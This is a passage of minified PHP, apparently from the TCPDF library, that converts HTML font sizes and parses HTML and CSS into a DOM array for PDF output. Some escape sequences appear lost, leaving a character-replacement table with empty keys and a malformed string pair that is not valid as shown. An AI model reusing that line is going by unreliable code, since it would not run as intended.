getHTMLFontUnits($val,$refsize=12,$parent_size=12,$defaultunit='pt'){$refsize=TCPDF_FONTS::getFontRefSize($refsize);$parent_size=TCPDF_FONTS::getFontRefSize($parent_size,$refsize);switch($val){case 'xx-small':{$size=($refsize-4);break;}case 'x-small':{$size=($refsize-3);break;}case 'small':{$size=($refsize-2);break;}case 'medium':{$size=$refsize;break;}case 'large':{$size=($refsize+2);break;}case 'x-large':{$size=($refsize+4);break;}case 'xx-large':{$size=($refsize+6);break;}case 'smaller':{$size=($parent_size-3);break;}case 'larger':{$size=($parent_size+3);break;}default:{$size=$this->getHTMLUnitToUnits($val,$parent_size,$defaultunit,true);}}return $size;} function getHtmlDomArray($html){$css=array();$matches=array();if(preg_match_all('/<cssarray>([^\<]*)<\/cssarray>/isU',$html,$matches)>0){if(isset($matches[1][0])){$css=array_merge($css,json_decode($this->unhtmlentities($matches[1][0]),true));}$html=preg_replace('/<cssarray>(.*?)<\/cssarray>/isU','',$html);}$matches=array();if(preg_match_all('/<link([^\>]*)>/isU',$html,$matches)>0){foreach($matches[1] as $key=>$link){$type=array();if(preg_match('/type[\s]*=[\s]*"text\/css"/',$link,$type)){$type=array();preg_match('/media[\s]*=[\s]*"([^"]*)"/',$link,$type);if(empty($type) OR (isset($type[1]) AND (($type[1]=='all') OR ($type[1]=='print')))){$type=array();if(preg_match('/href[\s]*=[\s]*"([^"]*)"/',$link,$type)>0){$cssdata=TCPDF_STATIC::fileGetContents(trim($type[1]));if(($cssdata!==FALSE) AND (strlen($cssdata)>0)){$css=array_merge($css,TCPDF_STATIC::extractCSSproperties($cssdata));}}}}}}$matches=array();if(preg_match_all('/<style([^\>]*)>([^\<]*)<\/style>/isU',$html,$matches)>0){foreach($matches[1] as $key=>$media){$type=array();preg_match('/media[\s]*=[\s]*"([^"]*)"/',$media,$type);if(empty($type) OR (isset($type[1]) AND (($type[1]=='all') OR ($type[1]=='print')))){$cssdata=$matches[2][$key];$css=array_merge($css,TCPDF_STATIC::extractCSSproperties($cssdata));}}}$csstagarray='<cssarray>'.htmlentities(json_encode($css)).'</cssarray>';$html=preg_replace('/<head([^\>]*)>(.*?)<\/head>/siU','',$html);$html=preg_replace('/<style([^\>]*)>([^\<]*)<\/style>/isU','',$html);$blocktags=array('blockquote','br','dd','dl','div','dt','h1','h2','h3','h4','h5','h6','hr','li','ol','p','pre','ul','tcpdf','table','tr','td');$selfclosingtags=array('area','base','basefont','br','hr','input','img','link','meta');$html=strip_tags($html,'<marker/><a><b><blockquote><body><br><br/><dd><del><div><dl><dt><em><font><form><h1><h2><h3><h4><h5><h6><hr><hr/><i><img><input><label><li><ol><option><p><pre><s><select><small><span><strike><strong><sub><sup><table><tablehead><tcpdf><td><textarea><th><thead><tr><tt><u><ul>');$html=preg_replace('/<pre/','<xre',$html);$html=preg_replace('/<(table|tr|td|th|tcpdf|blockquote|dd|div|dl|dt|form|h1|h2|h3|h4|h5|h6|br|hr|li|ol|ul|p)([^\>]*)>[

	]+/','<>',$html);$html=preg_replace('@(
|
)@',"
",$html);$repTable=array("	"=>' ',""=>' ',""=>' ',"\"=>"\");$html=strtr($html,$repTable);$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,'</pre>',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+6));while(preg_match("'<xre([^\>]*)>(.*?)
(.*?)</pre>'si",$html_b)){$html_b=preg_replace("'<xre([^\>]*)>(.*?)
(.*?)</pre>'si","<xre><br /></pre>",$html_b);}while(preg_match("'<xre([^\>]*)>(.*?)".$this->re_space['p']."(.*?)</pre>'".$this->re_space['m'],$html_b)){$html_b=preg_replace("'<xre([^\>]*)>(.*?)".$this->re_space['p']."(.*?)</pre>'".$this->re_space['m'],"<xre>&nbsp;</pre>",$html_b);}$html=$html_a.$html_b.substr($html,$pos+6);$offset=strlen($html_a.$html_b);}$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,'</textarea>',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+11));while(preg_match("'<textarea([^\>]*)>(.*?)
(.*?)</textarea>'si",$html_b)){$html_b=preg_replace("'<textarea([^\>]*)>(.*?)
(.*?)</textarea>'si","<textarea><TBR></textarea>",$html_b);$html_b=preg_replace("'<textarea([^\>]*)>(.*?)[\"](.*?)</textarea>'si","<textarea>''</textarea>",$html_b);}$html=$html_a.$html_b.substr($html,$pos+11);$offset=strlen($html_a.$html_b);}$html=preg_replace('/([\s]*)<option/si','<option',$html);$html=preg_replace('/<\/option>([\s]*)/si','</option>',$html);$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,'</option>',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+9));while(preg_match("'<option([^\>]*)>(.*?)</option>'si",$html_b)){$html_b=preg_replace("'<option([\s]+)value=\"([^\"]*)\"([^\>]*)>(.*?)</option>'si","#!TaB!##!NwL!#",$html_b);$html_b=preg_replace("'<option([^\>]*)>(.*?)</option>'si","#!NwL!#",$html_b);}$html=$html_a.$html_b.substr($html,$pos+9);$offset=strlen($html_a.$html_b);}if(preg_match("'</select'si",$html)){$html=preg_replace("'<select([^\>]*)>'si","<select opt=\"",$html);$html=preg_replace("'#!NwL!#</select>'si","\" />",$html);}$html=str_replace("
",' ',$html);$html=str_replace('<TBR>',"
",$html);$html=preg_replace('/[\s]+<\/(table|tr|ul|ol|dl)>/','</>',$html);$html=preg_replace('/'.$this->re_space['p'].'+<\/(td|th|li|dt|dd)>/'.$this->re_space['m'],'</>',$html);$html=preg_replace('/[\s]+<(tr|td|th|li|dt|dd)/','<',$html);$html=preg_replace('/'.$this->re_space['p'].'+<(ul|ol|dl|br)/'.$this->re_space['m'],'<',$html);$html=preg_replace('/<\/(table|tr|td|th|blockquote|dd|dt|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|ul|p)>[\s]+</','</><',$html);$html=preg_replace('/<\/(td|th)>/','<marker style="font-size:0"/></>',$html);$html=preg_replace('/<\/table>([\s]*)<marker style="font-size:0"\/>/','</table>',$html);$html=preg_replace('/'.$this->re_space['p'].'+<img/'.$this->re_space['m'],chr(32).'<img',$html);$html=preg_replace('/<img([^\>]*)>[\s]+([^\<])/xi','<img>&nbsp;',$html);$html=preg_replace('/<img([^\>]*)>/xi','<img><span><marker style="font-size:0"/></span>',$html);$html=preg_replace('/<xre/','<pre',$html);$html=preg_replace('/<textarea([^\>]*)>([^\<]*)<\/textarea>/xi','<textarea value="" />',$html);$html=preg_replace('/<li([^\>]*)><\/li>/','<li>&nbsp;</li>',$html);$html=preg_replace('/<li([^\>]*)>'.$this->re_space['p'].'*<img/'.$this->re_space['m'],'<li><font size="1">&nbsp;</font><img',$html);$html=preg_replace('/<([^\>\/]*)>[\s]/','<>&nbsp;',$html);$html=preg_replace('/[\s]<\/([^\>]*)>/','&nbsp;</>',$html);$html=preg_replace('/<su([bp])/','<zws/><su',$html);$html=preg_replace('/<\/su([bp])>/','</su><zws/>',$html);$html=preg_replace('/'.$this->re_space['p'].'+/'.$this->re_space['m'],chr(32),$html);$html=$this->stringTrim($html);$html=preg_replace('/<li><br([^\>]*)>/','<li> <br>',$html);$html=preg_replace('/^<img/','<span style="font-size:0"><br /></span> <img',$html,1);$tagpattern='/(<[^>]+>)/';$a=preg_split($tagpattern,$html,-1,PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);$maxel=count($a);$elkey=0;$key=0;$dom=array();$dom[$key]=array();$dom[$key]['tag']=false;$dom[$key]['block']=false;$dom[$key]['value']='';$dom[$key]['parent']=0;$dom[$key]['hide']=false;$dom[$key]['fontname']=$this->FontFamily;$dom[$key]['fontstyle']=$this->FontStyle;$dom[$key]['fontsize']=$this->FontSizePt;$dom[$key]['font-stretch']=$this->font_stretching;$dom[$key]['letter-spacing']=$this->font_spacing;$dom[$key]['stroke']=$this->textstrokewidth;$dom[$key]['fill']=(($this->textrendermode%2)==0);$dom[$key]['clip']=($this->textrendermode>3);$dom[$key]['line-height']=$this->cell_height_ratio;$dom[$key]['bgcolor']=false;$dom[$key]['fgcolor']=$this->fgcolor;$dom[$key]['strokecolor']=$this->strokecolor;$dom[$key]['align']='';$dom[$key]['listtype']='';$dom[$key]['text-indent']=0;$dom[$key]['text-transform']='';$dom[$key]['border']=array();$dom[$key]['dir']=$this->rtl?'rtl':'ltr';$thead=false;++$key;$level=array();array_push($level,0);while($elkey<$maxel){$dom[$key]=array();$element=$a[$elkey];$dom[$key]['elkey']=$elkey;if(preg_match($tagpattern,$element)){$element=substr($element,1,-1);preg_match('/[\/]?([a-zA-Z0-9]*)/',$element,$tag);$tagname=strtolower($tag[1]);if($tagname=='thead'){if($element[0]=='/'){$thead=false;}else {$thead=true;}++$elkey;continue;}$dom[$key]['tag']=true;$dom[$key]['value']=$tagname;if(in_array($dom[$key]['value'],$blocktags)){$dom[$key]['block']=true;}else {$dom[$key]['block']=false;}if($element[0]=='/'){$dom[$key]['opening']=false;$dom[$key]['parent']=end($level);array_pop($level);$dom[$key]['hide']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['hide'];$dom[$key]['fontname']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fontname'];$dom[$key]['fontstyle']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fontstyle'];$dom[$key]['fontsize']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fontsize'];$dom[$key]['font-stretch']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['font-stretch'];$dom[$key]['letter-spacing']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['letter-spacing'];$dom[$key]['stroke']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['stroke'];$dom[$key]['fill']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fill'];$dom[$key]['clip']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['clip'];$dom[$key]['line-height']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['line-height'];$dom[$key]['bgcolor']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['bgcolor'];$dom[$key]['fgcolor']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fgcolor'];$dom[$key]['strokecolor']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['strokecolor'];$dom[$key]['align']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['align'];$dom[$key]['text-transform']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['text-transform'];$dom[$key]['dir']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['dir'];if(isset($dom[($dom[($dom[$key]['parent'])]['parent'])]['listtype'])){$dom[$key]['listtype']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['listtype'];}if(($dom[$key]['value']=='tr') AND (!isset($dom[($dom[($dom[$key]['parent'])]['parent'])]['cols']))){$dom[($dom[($dom[$key]['parent'])]['parent'])]['cols']=$dom[($dom[$key]['parent'])]['cols'];}if(($dom[$key]['value']=='td') OR ($dom[$key]['value']=='th')){$dom[($dom[$key]['parent'])]['content']=$csstagarray;for($i=($dom[$key]['parent']+1);$i<$key;++$i){$dom[($dom[$key]['parent'])]['content'].=stripslashes($a[$dom[$i]['elkey']]);}$key=$i;$dom[($dom[$key]['parent'])]['content']=str_replace('<table','<table nested="true"',$dom[($dom[$key]['parent'])]['content']);$dom[($dom[$key]['parent'])]['content']=str_replace('<thead>','',$dom[($dom[$key]['parent'])]['content']);$dom[($dom[$key]['parent'])]['content']=str_replace('</thead>','',$dom[($dom[$key]['parent'])]['content']);}if(($dom[$key]['value']=='tr') AND ($dom[($dom[$key]['parent'])]['thead']===true)){if(TCPDF_STATIC::empty_string($dom[($dom[($dom[$key]['parent'])]['parent'])]['thead'])){$dom[($dom[($dom[$key]['parent'])]['parent'])]['thead']=$csstagarray.$a[$dom[($dom[($dom[$key]['parent'])]['parent'])]['elkey']];}for($i=$dom[$key]['parent'];$i<=$key;++$i){$dom[($dom[($dom[$key]['parent'])]['parent'])]['thead'].=$a[$dom[$i]['elkey']];}if(!isset($dom[($dom[$key]['parent'])]['attribute'])){$dom[($dom[$key]['parent'])]['attribute']=array();}$dom[($dom[$key]['parent'])]['attribute']['nobr']='true';}if(($dom[$key]['value']=='table') AND (!TCPDF_STATIC::empty_string($dom[($dom[$key]['parent'])]['thead']))){$dom[($dom[$key]['parent'])]['thead']=str_replace(' nobr="true"','',$dom[($dom[$key]['parent'])]['thead']);$dom[($dom[$key]['parent'])]['thead'].='</tablehead>';}}else {$dom[$key]['opening']=true;$dom[$key]['parent']=end($level);if((substr($element,-1,1)=='/') OR (in_array($dom[$key]['value'],$selfclosingtags))){$dom[$key]['self']=true;}else {array_push($level,$key);$dom[$key]['self']=false;}$parentkey=0;if($key>0){$parentkey=$dom[$key]['parent'];$dom[$key]['hide']=$dom[$parentkey]['hide'];$dom[$key]['fontname']=$dom[$parentkey]['fontname'];$dom[$key]['fontstyle']=$dom[$parentkey]['fontstyle'];$dom[$key]['fontsize']=$dom[$parentkey]['fontsize'];$dom[$key]['font-stretch']=$dom[$parentkey]['font-stretch'];$dom[$key]['letter-spacing']=$dom[$parentkey]['letter-spacing'];$dom[$key]['stroke']=$dom[$parentkey]['stroke'];$dom[$key]['fill']=$dom[$parentkey]['fill'];$dom[$key]['clip']=$dom[$parentkey]['clip'];$dom[$key]['line-height']=$dom[$parentkey]['line-height'];$dom[$key]['bgcolor']=$dom[$parentkey]['bgcolor'];$dom[$key]['fgcolor']=$dom[$parentkey]['fgcolor'];$dom[$key]['strokecolor']=$dom[$parentkey]['strokecolor'];$dom[$key]['align']=$dom[$parentkey]['align'];$dom[$key]['listtype']=$dom[$parentkey]['listtype'];$dom[$key]['text-indent']=$dom[$parentkey]['text-indent'];$dom[$key]['text-transform']=$dom[$parentkey]['text-transform'];$dom[$key]['border']=array();$dom[$key]['dir']=$dom[$parentkey]['dir'];}preg_match_all('/([^=\s]*)[\s]*=[\s]*"([^"]*)"/',$element,$attr_array,PREG_PATTERN_ORDER);$dom[$key]['attribute']=array();while(list($id,$name)=each($attr_array[1])){$dom[$key]['attribute'][strtolower($name)]=$attr_array[2][$id];}if(!empty($css)){list($dom[$key]['csssel'],$dom[$key]['cssdata'])=TCPDF_STATIC::getCSSdataArray($dom,$key,$css);$dom[$key]['attribute']['style']=TCPDF_STATIC::getTagStyleFromCSSarray($dom[$key]['cssdata']);}if(isset($dom[$key]['attribute']['style']) AND !empty($dom[$key]['attribute']['style'])){preg_match_all('/([^;:\s]*):([^;]*)/',$dom[$key]['attribute']['style'],$style_array,PREG_PATTERN_ORDER);$dom[$key]['style']=array();while(list($id,$name)=each($style_array[1])){$dom[$key]['style'][strtolower($name)]=trim($style_array[2][$id]);}if(isset($dom[$key]['style']['direction'])){$dom[$key]['dir']=$dom[$key]['style']['direction'];}if(isset($dom[$key]['style']['display'])){$dom[$key]['hide']=(trim(strtolower($dom[$key]['style']['display']))=='none');}if(isset($dom[$key]['style']['font-family'])){$dom[$key]['fontname']=$this->getFontFamilyName($dom[$key]['style']['font-family']);}if(isset($dom[$key]['style']['list-style-type'])){$dom[$key]['listtype']=trim(strtolower($dom[$key]['style']['list-style-type']));if($dom[$key]['listtype']=='inherit'){$dom[$key]['listtype']=$dom[$parentkey]['listtype'];}}if(isset($dom[$key]['style']['text-indent'])){$dom[$key]['text-indent']=$this->getHTMLUnitToUnits($dom[$key]['style']['text-indent']);if($dom[$key]['text-indent']=='inherit'){$dom[$key]['text-indent']=$dom[$parentkey]['text-indent'];}}if(isset($dom[$key]['style']['text-transform'])){$dom[$key]['text-transform']=$dom[$key]['style']['text-transform'];}if(isset($dom[$key]['style']['font-size'])){$fsize=trim($dom[$key]['style']['font-size']);$dom[$key]['fontsize']=$this->getHTMLFontUnits($fsize,$dom[0]['fontsize'],$dom[$parentkey]['fontsize'],'pt');}if(isset($dom[$key]['style']['font-stretch'])){$dom[$key]['font-stretch']=$this->getCSSFontStretching($dom[$key]['style']['font-stretch'],$dom[$parentkey]['font-stretch']);}if(isset($dom[$key]['style']['letter-spacing'])){$dom[$key]['letter-spacing']=$this->getCSSFontSpacing($dom[$key]['style']['letter-spacing'],$dom[$parentkey]['letter-spacing']);}if(isset($dom[$key]['style']['line-height'])){$lineheight=trim($dom[$key]['style']['line-height']);switch($lineheight){case 'normal':{$dom[$key]['line-height']=$dom[0]['line-height'];break;}case 'inherit':{$dom[$key]['line-height']=$dom[$parentkey]['line-height'];}default:{if(is_numeric($lineheight)){$lineheight=($lineheight*100).'%';}$dom[$key]['line-height']=$this->getHTMLUnitToUnits($lineheight,1,'%',true);if(substr($lineheight,-1)!=='%'){if($dom[$key]['fontsize']<=0){$dom[$key]['line-height']=1;}else {$dom[$key]['line-height']=(($dom[$key]['line-height']-$this->cell_padding['T']-$this->cell_padding['B'])/$dom[$key]['fontsize']);}}}}}if(isset($dom[$key]['style']['font-weight'])){if(strtolower($dom[$key]['style']['font-weight'][0])=='n'){if(strpos($dom[$key]['fontstyle'],'B')!==false){$dom[$key]['fontstyle']=str_replace('B','',$dom[$key]['fontstyle']);}}elseif(strtolower($dom[$key]['style']['font-weight'][0])=='b'){$dom[$key]['fontstyle'].='B';}}if(isset($dom[$key]['style']['font-style']) AND (strtolower($dom[$key]['style']['font-style'][0])=='i')){$dom[$key]['fontstyle'].='I';}if(isset($dom[$key]['style']['color']) AND (!TCPDF_STATIC::empty_string($dom[$key]['style']['color']))){$dom[$key]['fgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['style']['color'],$this->spot_colors);}elseif($dom[$key]['value']=='a'){$dom[$key]['fgcolor']=$this->htmlLinkColorArray;}if(isset($dom[$key]['style']['background-color']) AND (!TCPDF_STATIC::empty_string($dom[$key]['style']['background-color']))){$dom[$key]['bgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['style']['background-color'],$this->spot_colors);}if(isset($dom[$key]['style']['text-decoration'])){$decors=explode(' ',strtolower($dom[$key]['style']['text-decoration']));foreach($decors as $dec){$dec=trim($dec);if(!TCPDF_STATIC::empty_string($dec)){if($dec[0]=='u'){$dom[$key]['fontstyle'].='U';}elseif($dec[0]=='l'){$dom[$key]['fontstyle'].='D';}elseif($dec[0]=='o'){$dom[$key]['fontstyle'].='O';}}}}elseif($dom[$key]['value']=='a'){$dom[$key]['fontstyle']=$this->htmlLinkFontStyle;}if(isset($dom[$key]['style']['width'])){$dom[$key]['width']=$dom[$key]['style']['width'];}if(isset($dom[$key]['style']['height'])){$dom[$key]['height']=$dom[$key]['style']['height'];}if(isset($dom[$key]['style']['text-align'])){$dom[$key]['align']=strtoupper($dom[$key]['style']['text-align'][0]);}if(isset($dom[$key]['style']['border'])){$borderstyle=$this->getCSSBorderStyle($dom[$key]['style']['border']);if(!empty($borderstyle)){$dom[$key]['border']['LTRB']=$borderstyle;}}if(isset($dom[$key]['style']['border-color'])){$brd_colors=preg_split('/[\s]+/',trim($dom[$key]['style']['border-color']));if(isset($brd_colors[3])){$dom[$key]['border']['L']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[3],$this->spot_colors);}if(isset($brd_colors[1])){$dom[$key]['border']['R']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[1],$this->spot_colors);}if(isset($brd_colors[0])){$dom[$key]['border']['T']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[0],$this->spot_colors);}if(isset($brd_colors[2])){$dom[$key]['border']['B']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[2],$this->spot_colors);}}if(isset($dom[$key]['style']['border-width'])){$brd_widths=preg_split('/[\s]+/',trim($dom[$key]['style']['border-width']));if(isset($brd_widths[3])){$dom[$key]['border']['L']['width']=$this->getCSSBorderWidth($brd_widths[3]);}if(isset($brd_widths[1])){$dom[$key]['border']['R']['width']=$this->getCSSBorderWidth($brd_widths[1]);}if(isset($brd_widths[0])){$dom[$key]['border']['T']['width']=$this->getCSSBorderWidth($brd_widths[0]);}if(isset($brd_widths[2])){$dom[$key]['border']['B']['width']=$this->getCSSBorderWidth($brd_widths[2]);}}if(isset($dom[$key]['style']['border-style'])){$brd_styles=preg_split('/[\s]+/',trim($dom[$key]['style']['border-style']));if(isset($brd_styles[3]) AND ($brd_styles[3]!='none')){$dom[$key]['border']['L']['cap']='square';$dom[$key]['border']['L']['join']='miter';$dom[$key]['border']['L']['dash']=$this->getCSSBorderDashStyle($brd_styles[3]);if($dom[$key]['border']['L']['dash']<0){$dom[$key]['border']['L']=array();}}if(isset($brd_styles[1])){$dom[$key]['border']['R']['cap']='square';$dom[$key]['border']['R']['join']='miter';$dom[$key]['border']['R']['dash']=$this->getCSSBorderDashStyle($brd_styles[1]);if($dom[$key]['border']['R']['dash']<0){$dom[$key]['border']['R']=array();}}if(isset($brd_styles[0])){$dom[$key]['border']['T']['cap']='square';$dom[$key]['border']['T']['join']='miter';$dom[$key]['border']['T']['dash']=$this->getCSSBorderDashStyle($brd_styles[0]);if($dom[$key]['border']['T']['dash']<0){$dom[$key]['border']['T']=array();}}if(isset($brd_styles[2])){$dom[$key]['border']['B']['cap']='square';$dom[$key]['border']['B']['join']='miter';$dom[$key]['border']['B']['dash']=$this->getCSSBorderDashStyle($brd_styles[2]);if($dom[$key]['border']['B']['dash']<0){$dom[$key]['border']['B']=array();}}}$cellside=array('L'=>'left','R'=>'right','T'=>'top','B'=>'bottom');foreach($cellside as $bsk=>$bsv){if(isset($dom[$key]['style']['border-'.$bsv])){$borderstyle=$this->getCSSBorderStyle($dom[$key]['style']['border-'.$bsv]);if(!empty($borderstyle)){$dom[$key]['border'][$bsk]=$borderstyle;}}if(isset($dom[$key]['style']['border-'.$bsv.'-color'])){$dom[$key]['border'][$bsk]['color']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['style']['border-'.$bsv.'-color'],$this->spot_colors);}if(isset($dom[$key]['style']['border-'.$bsv.'-width'])){$dom[$key]['border'][$bsk]['width']=$this->getCSSBorderWidth($dom[$key]['style']['border-'.$bsv.'-width']);}if(isset($dom[$key]['style']['border-'.$bsv.'-style'])){$dom[$key]['border'][$bsk]['dash']=$this->getCSSBorderDashStyle($dom[$key]['style']['border-'.$bsv.'-style']);if($dom[$key]['border'][$bsk]['dash']<0){$dom[$key]['border'][$bsk]=array();}}}if(isset($dom[$key]['style']['padding'])){$dom[$key]['padding']=$this->getCSSPadding($dom[$key]['style']['padding']);}else {$dom[$key]['padding']=$this->cell_padding;}foreach($cellside as $psk=>$psv){if(isset($dom[$key]['style']['padding-'.$psv])){$dom[$key]['padding'][$psk]=$this->getHTMLUnitToUnits($dom[$key]['style']['padding-'.$psv],0,'px',false);}}if(isset($dom[$key]['style']['margin'])){$dom[$key]['margin']=$this->getCSSMargin($dom[$key]['style']['margin']);}else {$dom[$key]['margin']=$this->cell_margin;}foreach($cellside as $psk=>$psv){if(isset($dom[$key]['style']['margin-'.$psv])){$dom[$key]['margin'][$psk]=$this->getHTMLUnitToUnits(str_replace('auto','0',$dom[$key]['style']['margin-'.$psv]),0,'px',false);}}if(isset($dom[$key]['style']['border-spacing'])){$dom[$key]['border-spacing']=$this->getCSSBorderMargin($dom[$key]['style']['border-spacing']);}if(isset($dom[$key]['style']['page-break-inside']) AND ($dom[$key]['style']['page-break-inside']=='avoid')){$dom[$key]['attribute']['nobr']='true';}if(isset($dom[$key]['style']['page-break-before'])){if($dom[$key]['style']['page-break-before']=='always'){$dom[$key]['attribute']['pagebreak']='true';}elseif($dom[$key]['style']['page-break-before']=='left'){$dom[$key]['attribute']['pagebreak']='left';}elseif($dom[$key]['style']['page-break-before']=='right'){$dom[$key]['attribute']['pagebreak']='right';}}if(isset($dom[$key]['style']['page-break-after'])){if($dom[$key]['style']['page-break-after']=='always'){$dom[$key]['attribute']['pagebreakafter']='true';}elseif($dom[$key]['style']['page-break-after']=='left'){$dom[$key]['attribute']['pagebreakafter']='left';}elseif($dom[$key]['style']['page-break-after']=='right'){$dom[$key]['attribute']['pagebreakafter']='right';}}}if(isset($dom[$key]['attribute']['display'])){$dom[$key]['hide']=(trim(strtolower($dom[$key]['attribute']['display']))=='none');}if(isset($dom[$key]['attribute']['border']) AND ($dom[$key]['attribute']['border']!=0)){$borderstyle=$this->getCSSBorderStyle($dom[$key]['attribute']['border'].' solid black');if(!empty($borderstyle)){$dom[$key]['border']['LTRB']=$borderstyle;}}if($dom[$key]['value']=='font'){if(isset($dom[$key]['attribute']['face'])){$dom[$key]['fontname']=$this->getFontFamilyName($dom[$key]['attribute']['face']);}if(isset($dom[$key]['attribute']['size'])){if($key>0){if($dom[$key]['attribute']['size'][0]=='+'){$dom[$key]['fontsize']=$dom[($dom[$key]['parent'])]['fontsize']+intval(substr($dom[$key]['attribute']['size'],1));}elseif($dom[$key]['attribute']['size'][0]=='-'){$dom[$key]['fontsize']=$dom[($dom[$key]['parent'])]['fontsize']-intval(substr($dom[$key]['attribute']['size'],1));}else {$dom[$key]['fontsize']=intval($dom[$key]['attribute']['size']);}}else {$dom[$key]['fontsize']=intval($dom[$key]['attribute']['size']);}}}if((($dom[$key]['value']=='ul') OR ($dom[$key]['value']=='ol') OR ($dom[$key]['value']=='dl')) AND (!isset($dom[$key]['align']) OR TCPDF_STATIC::empty_string($dom[$key]['align']) OR ($dom[$key]['align']!='J'))){if($this->rtl){$dom[$key]['align']='R';}else {$dom[$key]['align']='L';}}if(($dom[$key]['value']=='small') OR ($dom[$key]['value']=='sup') OR ($dom[$key]['value']=='sub')){if(!isset($dom[$key]['attribute']['size']) AND !isset($dom[$key]['style']['font-size'])){$dom[$key]['fontsize']=$dom[$key]['fontsize']*K_SMALL_RATIO;}}if(($dom[$key]['value']=='strong') OR ($dom[$key]['value']=='b')){$dom[$key]['fontstyle'].='B';}if(($dom[$key]['value']=='em') OR ($dom[$key]['value']=='i')){$dom[$key]['fontstyle'].='I';}if($dom[$key]['value']=='u'){$dom[$key]['fontstyle'].='U';}if(($dom[$key]['value']=='del') OR ($dom[$key]['value']=='s') OR ($dom[$key]['value']=='strike')){$dom[$key]['fontstyle'].='D';}if(!isset($dom[$key]['style']['text-decoration']) AND ($dom[$key]['value']=='a')){$dom[$key]['fontstyle']=$this->htmlLinkFontStyle;}if(($dom[$key]['value']=='pre') OR ($dom[$key]['value']=='tt')){$dom[$key]['fontname']=$this->default_monospaced_font;}if(!empty($dom[$key]['value']) AND ($dom[$key]['value'][0]=='h') AND (intval($dom[$key]['value']{1})>0) AND (intval($dom[$key]['value']{1})<7)){if(!isset($dom[$key]['attribute']['size']) AND !isset($dom[$key]['style']['font-size'])){$headsize=(4-intval($dom[$key]['value']{1}))*2;$dom[$key]['fontsize']=$dom[0]['fontsize']+$headsize;}if(!isset($dom[$key]['style']['font-weight'])){$dom[$key]['fontstyle'].='B';}}if(($dom[$key]['value']=='table')){$dom[$key]['rows']=0;$dom[$key]['trids']=array();$dom[$key]['thead']='';}if(($dom[$key]['value']=='tr')){$dom[$key]['cols']=0;if($thead){$dom[$key]['thead']=true;}else {$dom[$key]['thead']=false;++$dom[($dom[$key]['parent'])]['rows'];array_push($dom[($dom[$key]['parent'])]['trids'],$key);}}if(($dom[$key]['value']=='th') OR ($dom[$key]['value']=='td')){if(isset($dom[$key]['attribute']['colspan'])){$colspan=intval($dom[$key]['attribute']['colspan']);}else {$colspan=1;}$dom[$key]['attribute']['colspan']=$colspan;$dom[($dom[$key]['parent'])]['cols']+=$colspan;}if(isset($dom[$key]['attribute']['dir'])){$dom[$key]['dir']=$dom[$key]['attribute']['dir'];}if(isset($dom[$key]['attribute']['color']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['color']))){$dom[$key]['fgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['attribute']['color'],$this->spot_colors);}elseif(!isset($dom[$key]['style']['color']) AND ($dom[$key]['value']=='a')){$dom[$key]['fgcolor']=$this->htmlLinkColorArray;}if(isset($dom[$key]['attribute']['bgcolor']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['bgcolor']))){$dom[$key]['bgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['attribute']['bgcolor'],$this->spot_colors);}if(isset($dom[$key]['attribute']['strokecolor']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['strokecolor']))){$dom[$key]['strokecolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['attribute']['strokecolor'],$this->spot_colors);}if(isset($dom[$key]['attribute']['width'])){$dom[$key]['width']=$dom[$key]['attribute']['width'];}if(isset($dom[$key]['attribute']['height'])){$dom[$key]['height']=$dom[$key]['attribute']['height'];}if(isset($dom[$key]['attribute']['align']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['align'])) AND ($dom[$key]['value']!=='img')){$dom[$key]['align']=strtoupper($dom[$key]['attribute']['align'][0]);}if(isset($dom[$key]['attribute']['stroke'])){$dom[$key]['stroke']=$this->getHTMLUnitToUnits($dom[$key]['attribute']['stroke'],$dom[$key]['fontsize'],'pt',true);}if(isset($dom[$key]['attribute']['fill'])){if($dom[$key]['attribute']['fill']=='true'){$dom[$key]['fill']=true;}else {$dom[$key]['fill']=false;}}if(isset($dom[$key]['attribute']['clip'])){if($dom[$key]['attribute']['clip']=='true'){$dom[$key]['clip']=true;}else {$dom[$key]['clip']=false;}}}}else 